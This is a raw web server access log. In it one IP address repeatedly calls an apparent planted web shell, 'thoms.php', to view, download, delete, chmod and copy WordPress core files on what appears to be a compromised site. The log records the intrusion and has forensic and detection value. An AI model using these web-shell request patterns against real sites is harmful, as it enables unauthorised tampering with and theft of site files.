45.135.193.11 - - [11/Sep/2026:23:28:43 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-block-metadata-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-block-metadata-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:43 -0400] "GET /thoms.php?del=class-wp-feed-cache.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59161 "http://163.245.207.76:443/thoms.php?del=class-wp-feed-cache.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:43 -0400] "GET /thoms.php?chmod=class-wp-feed-cache-transient.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=class-wp-feed-cache-transient.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:43 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-recovery-mode.php HTTP/1.1" 200 15594 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-recovery-mode.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:43 -0400] "GET /thoms.php?dl=class-wp-block-type-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-type-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fms-settings.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fms-settings.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:44 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-taxonomy.php HTTP/1.1" 200 17351 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-taxonomy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:44 -0400] "GET /bossini.com.tw/wp-includes/assets/ HTTP/1.1" 200 879 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:44 -0400] "GET /bossini.com.tw/wp-includes/class-walker-page-dropdown.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:44 -0400] "GET /bossini.com.tw/wp-includes/class-wp-customize-panel.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:44 -0400] "GET /thoms.php?del=pluggable-deprecated.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=pluggable-deprecated.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:44 -0400] "GET /thoms.php?chmod=class-wp-block-parser-frame.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-parser-frame.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-date-query.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-date-query.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:44 -0400] "GET /thoms.php?chmod=class-wp-block-bindings-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11546 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-bindings-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:44 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-block-patterns-registry.php HTTP/1.1" 200 14967 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-block-patterns-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:44 -0400] "GET /thoms.php?del=class-wp-paused-extensions-storage.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-wp-paused-extensions-storage.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:44 -0400] "GET /thoms.php?dl=class-wp-customize-widgets.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-widgets.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:45 -0400] "GET /thoms.php?dl=class-wp-role.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59195 "http://163.245.207.76:443/thoms.php?dl=class-wp-role.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:45 -0400] "GET /thoms.php?del=class-wp-duotone.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59204 "http://163.245.207.76:443/thoms.php?del=class-wp-duotone.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:45 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fsession.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11870 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fsession.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:45 -0400] "GET /thoms.php?del=class.wp-scripts.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59203 "http://163.245.207.76:443/thoms.php?del=class.wp-scripts.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:45 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ffonts.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ffonts.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:45 -0400] "GET /thoms.php?chmod=link-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=link-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:46 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=theme-i18n.json HTTP/1.1" 200 12434 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=theme-i18n.json" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:45 -0400] "GET /thoms.php?dl=sitemaps.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=sitemaps.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:46 -0400] "GET /thoms.php?chmod=utf8.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=utf8.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:46 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-block.php HTTP/1.1" 200 21090 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-block.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:46 -0400] "GET /thoms.php?del=widgets.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59158 "http://163.245.207.76:443/thoms.php?del=widgets.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:46 -0400] "GET /thoms.php?del=theme-compat&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=theme-compat&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:46 -0400] "GET /thoms.php?dl=class-wp-block-parser-block.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-parser-block.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:46 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-connector-registry.php HTTP/1.1" 200 15815 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-connector-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:46 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-locale-switcher.php HTTP/1.1" 200 14032 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-locale-switcher.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:47 -0400] "GET /thoms.php?chmod=class-wp-query.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=class-wp-query.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:47 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fblocks&p= HTTP/1.1" 200 12324 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fblocks&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:47 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-block-type-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-block-type-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:47 -0400] "GET /thoms.php?del=class-wp-recovery-mode.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:47 -0400] "GET /thoms.php?dl=class-wp-site-query.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?dl=class-wp-site-query.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:47 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-table.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11900 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-table.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:47 -0400] "GET /bossini.com.tw/wp-includes/embed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:47 -0400] "GET /thoms.php?dl=class-wp-theme-json-schema.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json-schema.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:47 -0400] "GET /bossini.com.tw/wp-includes/revision.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:47 -0400] "GET /bossini.com.tw/wp-includes/rewrite.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:48 -0400] "GET /bossini.com.tw/wp-includes/ai-client.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:48 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ffunctions.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ffunctions.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:48 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fblock-patterns&p= HTTP/1.1" 200 12332 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fblock-patterns&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:48 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes%2Ftheme-compat HTTP/1.1" 200 14291 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes%2Ftheme-compat" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:48 -0400] "GET /thoms.php?chmod=class-wp-oembed-controller.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11541 "http://163.245.207.76:443/thoms.php?chmod=class-wp-oembed-controller.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:48 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-query.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-query.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:48 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-theme-json-resolver.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11898 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-theme-json-resolver.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:48 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fai-client.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11873 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fai-client.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:48 -0400] "GET /thoms.php?del=admin-bar.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=admin-bar.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:48 -0400] "GET /thoms.php?del=global-styles-and-settings.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59187 "http://163.245.207.76:443/thoms.php?del=global-styles-and-settings.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:48 -0400] "GET /thoms.php?dl=cache.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=cache.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:49 -0400] "GET /bossini.com.tw/wp-includes/class-wp-comment.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:48 -0400] "GET /thoms.php?del=class-wp-admin-bar.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=class-wp-admin-bar.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:49 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fpost.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fpost.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:49 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=post-thumbnail-template.php HTTP/1.1" 200 14727 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=post-thumbnail-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:49 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-editor.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-editor.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:49 -0400] "GET /thoms.php?del=feed.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?del=feed.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:49 -0400] "GET /bossini.com.tw/wp-includes/class-wp-term.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:49 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-http-ixr-client.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-http-ixr-client.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:49 -0400] "GET /thoms.php?chmod=class-wp-rewrite.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-wp-rewrite.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:49 -0400] "GET /bossini.com.tw/wp-includes/fonts.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:50 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=kses.php HTTP/1.1" 200 40640 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=kses.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:50 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-block-processor.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-block-processor.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:50 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-block-templates-registry.php HTTP/1.1" 200 13961 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-block-templates-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:50 -0400] "GET /thoms.php?dl=fonts.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=fonts.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:50 -0400] "GET /thoms.php?del=error-protection.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59168 "http://163.245.207.76:443/thoms.php?del=error-protection.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:50 -0400] "GET /thoms.php?chmod=class-wp-block-templates-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-templates-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:50 -0400] "GET /bossini.com.tw/wp-includes/ms-deprecated.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
